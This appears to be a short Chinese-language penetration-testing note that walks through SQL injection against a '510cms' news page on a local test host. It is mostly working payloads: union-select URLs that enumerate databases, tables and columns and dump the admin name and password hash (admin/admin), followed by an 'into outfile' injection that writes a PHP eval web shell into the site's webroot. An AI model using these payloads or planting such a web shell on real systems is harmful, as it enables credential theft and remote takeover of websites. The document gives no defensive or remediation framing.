一： 開始爆庫： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,SCHEMA_NAME,4 from information_schema.SCHEMATA limit 0,1 – limit 1，1出現數據庫 510cms 爆表： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA="510cms" – 爆出后臺賬號密碼數據庫表 510_admin 爆列： http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,COLUMN_NAME,4 from information_schema.COLUMNS where TABLE_NAME="510_admin" LIMIT 2,1 – name passwd 爆字段 http://127.0.0.1:800/510cms2/news.php?cid=2-1&listid=&newsid=233 union select 1,2,concat(name,0x3c,passwd),4 from 510_admin – admin<21232f297a57a5a743894a0e4a801fc3 admin/admin 二： ``` into outfile select * from Table into outfile '/路徑/文件名' 使用into outfile寫入文件需要滿足3個條件 1、知道站點物理路徑(_SERVER["DOCUMENT_ROOT"]) 2、magic_quotes_gpc()=OFF(phpinfo.php) 3、有足夠大的權限（有file權限） ``` 三： ``` 1.Php一句話木馬： <?php eval($_POST[CMD])?>' 2.http://127.0.0.1:800/510cms2/news.php?cid=2&listid=&newsid=2 and 1=2 union select 1,2,3,'<?php eval($_POST[CMD])?>' from 510_admin into outfile 'C:\\wwwroot\\510cms2\\b.php' -- 3.select * from Table where cid=2 and newsid=2 and 1=2 union select 1,2,3,'<?php eval($_POST[CMD])?>' from 510_admin into outfile 'C:\\wwwroot\\510cms2\\b.php' ```